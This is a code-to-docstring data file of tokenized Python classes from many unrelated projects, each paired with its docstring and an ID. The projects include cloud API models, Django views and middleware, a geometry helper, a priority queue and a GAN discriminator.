class ExcludeFilter: <NEW_LINE> <INDENT> def __init__(self, arg_lst): <NEW_LINE> <INDENT> if isinstance(arg_lst, str): <NEW_LINE> <INDENT> lst = self._load_patterns_from_file(arg_lst) <NEW_LINE> <DEDENT> elif isinstance(arg_lst, list): <NEW_LINE> <INDENT> lst = arg_lst <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise TypeError <NEW_LINE> <DEDENT> self._lregex = [] <NEW_LINE> for regex in lst: <NEW_LINE> <INDENT> self._lregex.append(re.compile(regex, re.UNICODE)) <NEW_LINE> <DEDENT> <DEDENT> def _load_patterns_from_file(self, filename): <NEW_LINE> <INDENT> lst = [] <NEW_LINE> with open(filename, 'r') as file_obj: <NEW_LINE> <INDENT> for line in file_obj.readlines(): <NEW_LINE> <INDENT> pattern = line.strip() <NEW_LINE> if not pattern or pattern.startswith('#'): <NEW_LINE> <INDENT> continue <NEW_LINE> <DEDENT> lst.append(pattern) <NEW_LINE> <DEDENT> <DEDENT> return lst <NEW_LINE> <DEDENT> def _match(self, regex, path): <NEW_LINE> <INDENT> return regex.match(path) is not None <NEW_LINE> <DEDENT> def __call__(self, path): <NEW_LINE> <INDENT> for regex in self._lregex: <NEW_LINE> <INDENT> if self._match(regex, path): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> <DEDENT> return False
|
ExcludeFilter is an exclusion filter.
|
6259902d8c3a8732951f7590
|
class PollingConsumer(AbstractBasicMessagingEndpoint): <NEW_LINE> <INDENT> _SENTINEL = Ellipsis <NEW_LINE> def __init__( self, exchange=_SENTINEL, queue=_SENTINEL, callback_method=_SENTINEL, qos=_SENTINEL ): <NEW_LINE> <INDENT> self._exchange = exchange <NEW_LINE> self._exchange_converter = lambda _pkid: Exchange( specific_poker=self._specific_poker_setter( specific_poker=_pkid, lambda_call=True )).exchange_name if self._exchange is self._SENTINEL else self._exchange.exchange_name <NEW_LINE> self.exchange = self._exchange_setter(exchange=self._exchange_converter) <NEW_LINE> self.queue = self._queue_setter(queue=queue) <NEW_LINE> self.callback_method = self._callback_method_setter(callback_method=callback_method) <NEW_LINE> self.qos = self._qos_setter(qos=qos) <NEW_LINE> <DEDENT> def _exchange_setter(self, exchange): <NEW_LINE> <INDENT> return exchange <NEW_LINE> <DEDENT> def _exchange_name_setter(self, exchange_name): <NEW_LINE> <INDENT> if exchange_name is self._SENTINEL: <NEW_LINE> <INDENT> return "pokeman_exchange" <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return exchange_name <NEW_LINE> <DEDENT> <DEDENT> def _queue_setter(self, queue): <NEW_LINE> <INDENT> if queue is self._SENTINEL: <NEW_LINE> <INDENT> return "pokeman_queue" <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return queue.queue_name <NEW_LINE> <DEDENT> <DEDENT> def _callback_method_setter(self, callback_method): <NEW_LINE> <INDENT> if callback_method is self._SENTINEL: <NEW_LINE> <INDENT> return lambda body: 'No callback method provided' <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> obligatory_args = ['body', 'properties'] <NEW_LINE> for arg in obligatory_args: <NEW_LINE> <INDENT> if arg not in getfullargspec(callback_method).args: <NEW_LINE> <INDENT> raise AttributeError("The provided callback method needs to have the {ARG} argument".format( ARG=arg )) <NEW_LINE> <DEDENT> <DEDENT> return callback_method <NEW_LINE> <DEDENT> <DEDENT> def _qos_setter(self, qos): <NEW_LINE> <INDENT> if qos is self._SENTINEL: <NEW_LINE> <INDENT> return 1 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return qos <NEW_LINE> <DEDENT> <DEDENT> def _specific_poker_setter(self, specific_poker, lambda_call=False): <NEW_LINE> <INDENT> if specific_poker is self._SENTINEL: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> elif lambda_call is False: <NEW_LINE> <INDENT> return specific_poker.poker_id <NEW_LINE> <DEDENT> elif lambda_call is True: <NEW_LINE> <INDENT> return specific_poker <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise ValueError('Unresolvable specific poker parameter')
|
Basic Message Enterprise Integration Pattern for messaging
endpoint > Polling Consumer.
A Sentinel is declared default for various pattern parameters,
as the possible None declaration is a posteriori.
|
6259902d6fece00bbaccc9e7
|
class TextEntityTypePre(Object): <NEW_LINE> <INDENT> ID = "textEntityTypePre" <NEW_LINE> def __init__(self, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def read(q: dict, *args) -> "TextEntityTypePre": <NEW_LINE> <INDENT> return TextEntityTypePre()
|
Text that must be formatted as if inside a pre HTML tag
Attributes:
ID (:obj:`str`): ``TextEntityTypePre``
No parameters required.
Returns:
TextEntityType
Raises:
:class:`telegram.Error`
|
6259902dd6c5a102081e315f
|
class SerializeResponder(object): <NEW_LINE> <INDENT> def __init__(self, format, mimetype=None, paginate_by=None, allow_empty=False): <NEW_LINE> <INDENT> self.format = format <NEW_LINE> self.mimetype = mimetype <NEW_LINE> self.paginate_by = paginate_by <NEW_LINE> self.allow_empty = allow_empty <NEW_LINE> self.expose_fields = [] <NEW_LINE> <DEDENT> def render(self, object_list): <NEW_LINE> <INDENT> hidden_fields = [] <NEW_LINE> for obj in list(object_list): <NEW_LINE> <INDENT> for field in obj._meta.fields: <NEW_LINE> <INDENT> if not field.name in self.expose_fields and field.serialize: <NEW_LINE> <INDENT> field.serialize = False <NEW_LINE> hidden_fields.append(field) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> response = serializers.serialize(self.format, object_list) <NEW_LINE> for field in hidden_fields: <NEW_LINE> <INDENT> field.serialize = True <NEW_LINE> <DEDENT> return response <NEW_LINE> <DEDENT> def element(self, request, elem): <NEW_LINE> <INDENT> return HttpResponse(self.render([elem]), self.mimetype) <NEW_LINE> <DEDENT> def error(self, request, status_code, error_dict=None): <NEW_LINE> <INDENT> if not error_dict: <NEW_LINE> <INDENT> error_dict = ErrorDict() <NEW_LINE> <DEDENT> response = HttpResponse(mimetype = self.mimetype) <NEW_LINE> response.write('%d %s' % (status_code, STATUS_CODE_TEXT[status_code])) <NEW_LINE> if error_dict: <NEW_LINE> <INDENT> response.write('\n\nErrors:\n') <NEW_LINE> response.write(error_dict.as_text()) <NEW_LINE> <DEDENT> response.status_code = status_code <NEW_LINE> return response <NEW_LINE> <DEDENT> def list(self, request, queryset, page=None): <NEW_LINE> <INDENT> if self.paginate_by: <NEW_LINE> <INDENT> paginator = QuerySetPaginator(queryset, self.paginate_by) <NEW_LINE> if not page: <NEW_LINE> <INDENT> page = request.GET.get('page', 1) <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> page = int(page) <NEW_LINE> object_list = paginator.page(page).object_list <NEW_LINE> <DEDENT> except (InvalidPage, ValueError): <NEW_LINE> <INDENT> if page == 1 and self.allow_empty: <NEW_LINE> <INDENT> object_list = [] <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.error(request, 404) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> object_list = list(queryset) <NEW_LINE> <DEDENT> return HttpResponse(self.render(object_list), self.mimetype)
|
Class for all data formats that are possible
with Django's serializer framework.
|
6259902de76e3b2f99fd9a45
|
class StorageProfileUpdate(msrest.serialization.Model): <NEW_LINE> <INDENT> _attribute_map = { 'disks': {'key': 'disks', 'type': '[VirtualDiskUpdate]'}, } <NEW_LINE> def __init__( self, **kwargs ): <NEW_LINE> <INDENT> super(StorageProfileUpdate, self).__init__(**kwargs) <NEW_LINE> self.disks = kwargs.get('disks', None)
|
Defines the resource update properties.
:param disks: Gets or sets the list of virtual disks associated with the virtual machine.
:type disks: list[~azure.mgmt.connectedvmware.models.VirtualDiskUpdate]
|
6259902da8ecb03325872256
|
class RecoverRecycleTablesRequest(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.ClusterId = None <NEW_LINE> self.SelectedTables = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> self.ClusterId = params.get("ClusterId") <NEW_LINE> if params.get("SelectedTables") is not None: <NEW_LINE> <INDENT> self.SelectedTables = [] <NEW_LINE> for item in params.get("SelectedTables"): <NEW_LINE> <INDENT> obj = SelectedTableInfoNew() <NEW_LINE> obj._deserialize(item) <NEW_LINE> self.SelectedTables.append(obj)
|
RecoverRecycleTables request structure.
|
6259902d91af0d3eaad3ae63
|
class SubscriptionResourceMixin(object): <NEW_LINE> <INDENT> def list_subscriptions(self, **options): <NEW_LINE> <INDENT> return self.get(self._subscription_path(), params=options).json() <NEW_LINE> <DEDENT> def get_subscription(self, subscription_id): <NEW_LINE> <INDENT> return self.get(self._subscription_path(subscription_id)).json() <NEW_LINE> <DEDENT> def change_subscription_type(self, subscription_id, new_type): <NEW_LINE> <INDENT> return self.post( self._subscription_path(subscription_id, 'change_type'), json={'new_type': new_type}).json() <NEW_LINE> <DEDENT> def cancel_subscription(self, subscription_id, reason): <NEW_LINE> <INDENT> return self.post( self._subscription_path(subscription_id, 'cancel'), json={'reason': reason}).json() <NEW_LINE> <DEDENT> def reactivate_subscription(self, subscription_id, reason): <NEW_LINE> <INDENT> return self.post( self._subscription_path(subscription_id, 'reactivate'), json={'reason': reason}).json() <NEW_LINE> <DEDENT> def activate_trial_subscription(self, subscription_id): <NEW_LINE> <INDENT> return self.post( self._subscription_path(subscription_id, 'remove_trial')).json() <NEW_LINE> <DEDENT> def create_subscription(self, subscription_type, user_id, properties): <NEW_LINE> <INDENT> data = { 'properties': properties, 'type': subscription_type, 'user_id': user_id, } <NEW_LINE> return self.post(self._subscription_path(), json=data).json() <NEW_LINE> <DEDENT> def _subscription_path(self, *parts): <NEW_LINE> <INDENT> path = '/'.join(['subscriptions'] + list(parts)) <NEW_LINE> return '/%s/' % path
|
Methods for managing Subscription resources.
|
6259902d30c21e258be99845
|
class IndexedString(Field): <NEW_LINE> <INDENT> _sphinx_field_name = 'sql_field_string' <NEW_LINE> _type = types.String
|
A Sphinx field and attribute (i.e. indexed and stored)
|
6259902d9b70327d1c57fdbd
|
class Triangle(): <NEW_LINE> <INDENT> def __init__(self, p0, p1, p2): <NEW_LINE> <INDENT> self.p0 = p0 <NEW_LINE> self.p1 = p1 <NEW_LINE> self.p2 = p2 <NEW_LINE> <DEDENT> def inCentre(self, coord) -> None: <NEW_LINE> <INDENT> len0 = self.p1.distance(self.p2) <NEW_LINE> len1 = self.p0.distance(self.p2) <NEW_LINE> len2 = self.p0.distance(self.p1) <NEW_LINE> circum = len0 + len1 + len2 <NEW_LINE> coord.x = (len0 * self.p0.x + len1 * self.p1.x + len2 * self.p2.x) / circum <NEW_LINE> coord.y = (len0 * self.p0.y + len1 * self.p1.y + len2 * self.p2.y) / circum <NEW_LINE> <DEDENT> def circumcentre(self, coord)-> None: <NEW_LINE> <INDENT> cx = self.p2.x <NEW_LINE> cy = self.p2.y <NEW_LINE> ax = self.p0.x - cx <NEW_LINE> ay = self.p0.y - cy <NEW_LINE> bx = self.p1.x - cx <NEW_LINE> by = self.p1.y - cy <NEW_LINE> denom = 2 * self.det(ax, ay, bx, by) <NEW_LINE> numx = self.det(ay, ax * ax + ay * ay, by, bx * bx + by * by) <NEW_LINE> numy = self.det(ax, ax * ax + ay * ay, bx, bx * bx + by * by) <NEW_LINE> coord.x = cx - numx / denom <NEW_LINE> coord.y = cy + numy / denom <NEW_LINE> <DEDENT> def det(self, m00: float, m01: float, m10: float, m11: float) -> float: <NEW_LINE> <INDENT> return m00 * m11 - m01 * m10
|
* Represents a planar triangle, and provides methods for calculating various
* properties of triangles.
|
6259902d6e29344779b01689
|
class TestTSHasManifest(TestCase): <NEW_LINE> <INDENT> _multiprocess_can_split_ = True <NEW_LINE> maxDiff = None <NEW_LINE> def test_good_ts_with_manifold(self): <NEW_LINE> <INDENT> res = _ts_has_manifest(helpers.FILES["timestream_manifold"]) <NEW_LINE> self.assertEqual(res, path.join(helpers.FILES["timestream_manifold"], "BVZ0022-GC05L-CN650D-Cam07~fullres-orig.tsm")) <NEW_LINE> <DEDENT> def test_good_ts_with_no_manifold(self): <NEW_LINE> <INDENT> res = _ts_has_manifest(helpers.FILES["timestream_nomanifold"]) <NEW_LINE> self.assertFalse(res)
|
Test function timestream.parse._ts_has_manifest
|
6259902dec188e330fdf98cd
|
class PriorityQueue(Queue): <NEW_LINE> <INDENT> def _init(self, maxsize): <NEW_LINE> <INDENT> self.queue = [] <NEW_LINE> <DEDENT> def _qsize(self): <NEW_LINE> <INDENT> return len(self.queue) <NEW_LINE> <DEDENT> def _put(self, item): <NEW_LINE> <INDENT> heappush(self.queue, item) <NEW_LINE> <DEDENT> def _get(self): <NEW_LINE> <INDENT> return heappop(self.queue)
|
Variant of Queue that retrieves open entries in priority order (lowest first).
Entries are typically tuples of the form: (priority number, data).
|
6259902d50485f2cf55dbfb6
|
class Discriminator(chainer.Chain): <NEW_LINE> <INDENT> def __init__(self, in_ch=1, wscale=0.02, B=32, C=8): <NEW_LINE> <INDENT> super(Discriminator, self).__init__() <NEW_LINE> self.b, self.c = B, C <NEW_LINE> with self.init_scope(): <NEW_LINE> <INDENT> w = chainer.initializers.Normal(wscale) <NEW_LINE> self.c0 = L.Convolution2D( in_channels=in_ch, out_channels=64, ksize=4, stride=2, pad=1, initialW=w) <NEW_LINE> self.c1 = L.Convolution2D( in_channels=None, out_channels=128, ksize=4, stride=2, pad=1, initialW=w, nobias=True) <NEW_LINE> self.md2 = Minibatch_Discrimination(self.b, self.c, wscale) <NEW_LINE> self.l3 = L.Linear(in_size=None, out_size=1, initialW=w) <NEW_LINE> <DEDENT> <DEDENT> def __call__(self, x): <NEW_LINE> <INDENT> h = F.leaky_relu(self.c0(x)) <NEW_LINE> h = F.leaky_relu(self.c1(h)) <NEW_LINE> h = self.md2(h) <NEW_LINE> y = self.l3(h) <NEW_LINE> return y
|
Discriminator
build Discriminator model applied feature matching
Parametors
---------------------
in_ch: int
Channel when converting the output of the first layer
to the 4-dimensional tensor
wscale: float
std of normal initializer
B: int
number of rows of M
C: int
number of columns of M
Attributes
---------------------
Returns
--------------------
y: float
logits
h: float
feature of one befor the out layer
|
6259902d8a43f66fc4bf31bf
|
class OpenCloseChargePort(command_with_properties.CommandWithProperties): <NEW_LINE> <INDENT> charge_port_prop_id = 0x0b <NEW_LINE> def __init__(self, arg): <NEW_LINE> <INDENT> log.debug(" ") <NEW_LINE> self.msg_type = msg_type.MsgType(Identifiers.CHARGING,0x01) <NEW_LINE> if isinstance(arg, (bytes, bytearray)): <NEW_LINE> <INDENT> super().__init__(arg) <NEW_LINE> log.info("parse case not required in Link device and not implemented") <NEW_LINE> <DEDENT> elif isinstance(arg, ChargePortState): <NEW_LINE> <INDENT> super().__init__(None, self.msg_type) <NEW_LINE> log.info("arg: " + str(arg)) <NEW_LINE> self.charge_port_state = hmproperty.HmProperty(None, OpenCloseChargePort.charge_port_prop_id, arg, None, None) <NEW_LINE> super().create_bytes(self.charge_port_state) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> log.error("invalid argument type") <NEW_LINE> <DEDENT> return <NEW_LINE> <DEDENT> def get_charge_port_state(self): <NEW_LINE> <INDENT> return self.charge_port_state
|
Constructs Open Close Charge Ports message bytes
|
6259902d30c21e258be99846
|
class Constant(Leaf): <NEW_LINE> <INDENT> def __init__(self, value): <NEW_LINE> <INDENT> if intf.is_sparse(value): <NEW_LINE> <INDENT> self._value = intf.DEFAULT_SPARSE_INTERFACE.const_to_matrix(value) <NEW_LINE> self._sparse = True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self._value = intf.DEFAULT_INTERFACE.const_to_matrix(value) <NEW_LINE> self._sparse = False <NEW_LINE> <DEDENT> self.init_dcp_attr() <NEW_LINE> <DEDENT> def name(self): <NEW_LINE> <INDENT> return str(self.value) <NEW_LINE> <DEDENT> @property <NEW_LINE> def value(self): <NEW_LINE> <INDENT> return self._value <NEW_LINE> <DEDENT> def init_dcp_attr(self): <NEW_LINE> <INDENT> shape = u.Shape(*intf.size(self.value)) <NEW_LINE> sign = intf.sign(self.value) <NEW_LINE> self._dcp_attr = u.DCPAttr(sign, u.Curvature.CONSTANT, shape) <NEW_LINE> <DEDENT> def canonicalize(self): <NEW_LINE> <INDENT> obj = lu.create_const(self.value, self.size, self._sparse) <NEW_LINE> return (obj, []) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "Constant(%s, %s, %s)" % (self.curvature, self.sign, self.size)
|
A constant, either matrix or scalar.
|
6259902db57a9660fecd2abe
|
class CheckoutSetupBrowserKeyResponse(object): <NEW_LINE> <INDENT> swagger_types = { 'browser_key': 'str' } <NEW_LINE> attribute_map = { 'browser_key': 'browser_key' } <NEW_LINE> def __init__(self, browser_key=None): <NEW_LINE> <INDENT> self._browser_key = None <NEW_LINE> self.discriminator = None <NEW_LINE> if browser_key is not None: <NEW_LINE> <INDENT> self.browser_key = browser_key <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def browser_key(self): <NEW_LINE> <INDENT> return self._browser_key <NEW_LINE> <DEDENT> @browser_key.setter <NEW_LINE> def browser_key(self, browser_key): <NEW_LINE> <INDENT> self._browser_key = browser_key <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, CheckoutSetupBrowserKeyResponse): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other
|
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
|
6259902d8e05c05ec3f6f679
|
class SecretStores(BASE, ModelBase): <NEW_LINE> <INDENT> __tablename__ = 'secret_stores' <NEW_LINE> store_plugin = sa.Column(sa.String(255), nullable=False) <NEW_LINE> crypto_plugin = sa.Column(sa.String(255), nullable=True) <NEW_LINE> global_default = sa.Column(sa.Boolean, nullable=False, default=False) <NEW_LINE> name = sa.Column(sa.String(255), nullable=False) <NEW_LINE> __table_args__ = (sa.UniqueConstraint( 'store_plugin', 'crypto_plugin', name='_secret_stores_plugin_names_uc'), sa.UniqueConstraint('name', name='_secret_stores_name_uc'),) <NEW_LINE> def __init__(self, name, store_plugin, crypto_plugin=None, global_default=None): <NEW_LINE> <INDENT> super(SecretStores, self).__init__() <NEW_LINE> msg = u._("Must supply non-Blank {0} argument for SecretStores entry.") <NEW_LINE> if not name: <NEW_LINE> <INDENT> raise exception.MissingArgumentError(msg.format("name")) <NEW_LINE> <DEDENT> if not store_plugin: <NEW_LINE> <INDENT> raise exception.MissingArgumentError(msg.format("store_plugin")) <NEW_LINE> <DEDENT> self.store_plugin = store_plugin <NEW_LINE> self.name = name <NEW_LINE> self.crypto_plugin = crypto_plugin <NEW_LINE> if global_default is not None: <NEW_LINE> <INDENT> self.global_default = global_default <NEW_LINE> <DEDENT> self.status = States.ACTIVE <NEW_LINE> <DEDENT> def _do_extra_dict_fields(self): <NEW_LINE> <INDENT> return {'secret_store_id': self.id, 'store_plugin': self.store_plugin, 'crypto_plugin': self.crypto_plugin, 'global_default': self.global_default, 'name': self.name}
|
List of secret stores defined via service configuration.
This class provides a list of secret stores entities with their respective
secret store plugin and crypto plugin names.
SecretStores deletes are NOT soft-deletes.
|
6259902d4e696a045264e640
|
class MappingsFileParser(MappingsParser): <NEW_LINE> <INDENT> def __init__(self, filename): <NEW_LINE> <INDENT> with open(filename, 'r') as f: <NEW_LINE> <INDENT> contents = f.read() <NEW_LINE> <DEDENT> MappingsParser.__init__(self, contents)
|
Parse mapping data from a file.
@see MappingsParser for more information.
|
6259902d15baa72349462fd5
|
class Solution: <NEW_LINE> <INDENT> def reverseWords(self, s): <NEW_LINE> <INDENT> sArr = s.strip().split(' ') <NEW_LINE> sArr.reverse() <NEW_LINE> arr = [sa for sa in sArr if sa != ''] <NEW_LINE> return ' '.join(arr)
|
@param: s: A string
@return: A string
|
6259902dbe8e80087fbc00b7
|
class ReleaseIpv6AddressesRequest(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.EcmRegion = None <NEW_LINE> self.NetworkInterfaceId = None <NEW_LINE> self.Ipv6Addresses = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> self.EcmRegion = params.get("EcmRegion") <NEW_LINE> self.NetworkInterfaceId = params.get("NetworkInterfaceId") <NEW_LINE> if params.get("Ipv6Addresses") is not None: <NEW_LINE> <INDENT> self.Ipv6Addresses = [] <NEW_LINE> for item in params.get("Ipv6Addresses"): <NEW_LINE> <INDENT> obj = Ipv6Address() <NEW_LINE> obj._deserialize(item) <NEW_LINE> self.Ipv6Addresses.append(obj) <NEW_LINE> <DEDENT> <DEDENT> memeber_set = set(params.keys()) <NEW_LINE> for name, value in vars(self).items(): <NEW_LINE> <INDENT> if name in memeber_set: <NEW_LINE> <INDENT> memeber_set.remove(name) <NEW_LINE> <DEDENT> <DEDENT> if len(memeber_set) > 0: <NEW_LINE> <INDENT> warnings.warn("%s fileds are useless." % ",".join(memeber_set))
|
ReleaseIpv6Addresses请求参数结构体
|
6259902dd18da76e235b796c
|
class OverflowableBuffer(object): <NEW_LINE> <INDENT> overflowed = 0 <NEW_LINE> buf = None <NEW_LINE> strbuf = '' <NEW_LINE> def __init__(self, overflow): <NEW_LINE> <INDENT> self.overflow = overflow <NEW_LINE> <DEDENT> def __len__(self): <NEW_LINE> <INDENT> buf = self.buf <NEW_LINE> if buf is not None: <NEW_LINE> <INDENT> return len(buf) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return len(self.strbuf) <NEW_LINE> <DEDENT> <DEDENT> def _create_buffer(self): <NEW_LINE> <INDENT> strbuf = self.strbuf <NEW_LINE> if len(strbuf) >= self.overflow: <NEW_LINE> <INDENT> self._set_large_buffer() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self._set_small_buffer() <NEW_LINE> <DEDENT> buf = self.buf <NEW_LINE> if strbuf: <NEW_LINE> <INDENT> buf.append(self.strbuf) <NEW_LINE> self.strbuf = '' <NEW_LINE> <DEDENT> return buf <NEW_LINE> <DEDENT> def _set_small_buffer(self): <NEW_LINE> <INDENT> self.buf = StringIOBasedBuffer(self.buf) <NEW_LINE> self.overflowed = 0 <NEW_LINE> <DEDENT> def _set_large_buffer(self): <NEW_LINE> <INDENT> self.buf = TempfileBasedBuffer(self.buf) <NEW_LINE> self.overflowed = 1 <NEW_LINE> <DEDENT> def append(self, s): <NEW_LINE> <INDENT> buf = self.buf <NEW_LINE> if buf is None: <NEW_LINE> <INDENT> strbuf = self.strbuf <NEW_LINE> if len(strbuf) + len(s) < STRBUF_LIMIT: <NEW_LINE> <INDENT> self.strbuf = strbuf + s <NEW_LINE> return <NEW_LINE> <DEDENT> buf = self._create_buffer() <NEW_LINE> <DEDENT> buf.append(s) <NEW_LINE> sz = len(buf) <NEW_LINE> if not self.overflowed: <NEW_LINE> <INDENT> if sz >= self.overflow: <NEW_LINE> <INDENT> self._set_large_buffer() <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def get(self, bytes=-1, skip=0): <NEW_LINE> <INDENT> buf = self.buf <NEW_LINE> if buf is None: <NEW_LINE> <INDENT> strbuf = self.strbuf <NEW_LINE> if not skip: <NEW_LINE> <INDENT> return strbuf <NEW_LINE> <DEDENT> buf = self._create_buffer() <NEW_LINE> <DEDENT> return buf.get(bytes, skip) <NEW_LINE> <DEDENT> def skip(self, bytes, allow_prune=0): <NEW_LINE> <INDENT> buf = self.buf <NEW_LINE> if buf is None: <NEW_LINE> <INDENT> strbuf = self.strbuf <NEW_LINE> if allow_prune and bytes == len(strbuf): <NEW_LINE> <INDENT> self.strbuf = '' <NEW_LINE> return <NEW_LINE> <DEDENT> buf = self._create_buffer() <NEW_LINE> <DEDENT> buf.skip(bytes, allow_prune) <NEW_LINE> <DEDENT> def prune(self): <NEW_LINE> <INDENT> buf = self.buf <NEW_LINE> if buf is None: <NEW_LINE> <INDENT> self.strbuf = '' <NEW_LINE> return <NEW_LINE> <DEDENT> buf.prune() <NEW_LINE> if self.overflowed: <NEW_LINE> <INDENT> sz = len(buf) <NEW_LINE> if sz < self.overflow: <NEW_LINE> <INDENT> self._set_small_buffer() <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def getfile(self): <NEW_LINE> <INDENT> buf = self.buf <NEW_LINE> if buf is None: <NEW_LINE> <INDENT> buf = self._create_buffer() <NEW_LINE> <DEDENT> return buf.getfile()
|
This buffer implementation has four stages:
- No data
- String-based buffer
- StringIO-based buffer
- Temporary file storage
The first two stages are fastest for simple transfers.
|
6259902dc432627299fa4031
|
class NullHandler(logging.Handler): <NEW_LINE> <INDENT> def emit(self, record): <NEW_LINE> <INDENT> pass
|
Nullhandler for logging.
|
6259902d96565a6dacd2d7ad
|
class Importer: <NEW_LINE> <INDENT> _parser = None <NEW_LINE> _daoFactory = None <NEW_LINE> def __init__(self, parser, daoFactory): <NEW_LINE> <INDENT> self._parser = parser <NEW_LINE> self._daoFactory = daoFactory <NEW_LINE> <DEDENT> def run(self, modelPath, language=None): <NEW_LINE> <INDENT> model = self._parser.parse(modelPath) <NEW_LINE> modelDao = self._daoFactory.getModelDAO() <NEW_LINE> classDao = self._daoFactory.getSemanticClassDAO() <NEW_LINE> dataPropDao = self._daoFactory.getDatatypePropertyDAO() <NEW_LINE> objectPropDao = self._daoFactory.getObjectPropertyDAO() <NEW_LINE> modelDao.create(model, language) <NEW_LINE> for sclass in model.classes.values(): <NEW_LINE> <INDENT> classDao.create(sclass, language) <NEW_LINE> print("Created pages for class %s" % sclass.name) <NEW_LINE> for sprop in sclass.datatypeProperties: <NEW_LINE> <INDENT> dataPropDao.create(sprop, language) <NEW_LINE> <DEDENT> for sprop in sclass.objectProperties: <NEW_LINE> <INDENT> objectPropDao.create(sprop, language) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def delete(self, modelPath): <NEW_LINE> <INDENT> model = self._parser.parse(modelPath) <NEW_LINE> classDao = self._daoFactory.getSemanticClassDAO() <NEW_LINE> propDao = self._daoFactory.getDatatypePropertyDAO() <NEW_LINE> for sclass in model.classes.values(): <NEW_LINE> <INDENT> classDao.delete(sclass) <NEW_LINE> print("Deleted pages for class %s" % sclass.name) <NEW_LINE> for sprop in sclass.properties.values(): <NEW_LINE> <INDENT> propDao.delete(sprop)
|
Import an RDF file into a data sink (e.g. semantic MediaWiki API).
|
6259902d9b70327d1c57fdc0
|
class OneSessionPerUserMiddleware(object): <NEW_LINE> <INDENT> def process_request(self, request): <NEW_LINE> <INDENT> if isinstance(request.user, User): <NEW_LINE> <INDENT> current_key = request.session.session_key <NEW_LINE> if hasattr(request.user, 'concurrentuser'): <NEW_LINE> <INDENT> active_key = request.user.concurrentuser.session_key <NEW_LINE> if active_key != current_key: <NEW_LINE> <INDENT> Session.objects.filter(session_key=active_key).delete() <NEW_LINE> request.user.concurrentuser.session_key = current_key <NEW_LINE> request.user.concurrentuser.save() <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> ConcurrentUser.objects.create( concurrent_user=request.user, session_key=current_key, )
|
Middleware to handle multiple logins with same credentials
- Creates a Database entry to record the current user and active session key
- Checks if the current user has already been logged in. If True, the new session
key is stored with respect to the user and the old session key is deleted,
effectively terminating the older session for the same user.
- The concurrentuser attribute of the User model refers to the ConcurrentUser
model object and not the concurrent_user field due to behaviour described
in the Documentation
Link: https://docs.djangoproject.com/en/1.5/topics/auth/customizing/#extending-the-existing-user-model)
|
6259902dd53ae8145f9194a1
|
class RecipeViewSet(viewsets.ModelViewSet): <NEW_LINE> <INDENT> serializer_class = serializers.RecipeSerializer <NEW_LINE> queryset = Recipe.objects.all() <NEW_LINE> authentication_classes = (TokenAuthentication,) <NEW_LINE> permission_classes = (IsAuthenticated,) <NEW_LINE> def get_queryset(self): <NEW_LINE> <INDENT> return self.queryset.filter(user=self.request.user) <NEW_LINE> <DEDENT> def get_serializer_class(self): <NEW_LINE> <INDENT> if self.action == 'retrieve': <NEW_LINE> <INDENT> return serializers.RecipeDetailSerializer <NEW_LINE> <DEDENT> return self.serializer_class <NEW_LINE> <DEDENT> def perform_create(self, serializer): <NEW_LINE> <INDENT> serializer.save(user=self.request.user)
|
Mange recipes in the database
|
6259902d8e05c05ec3f6f67a
|
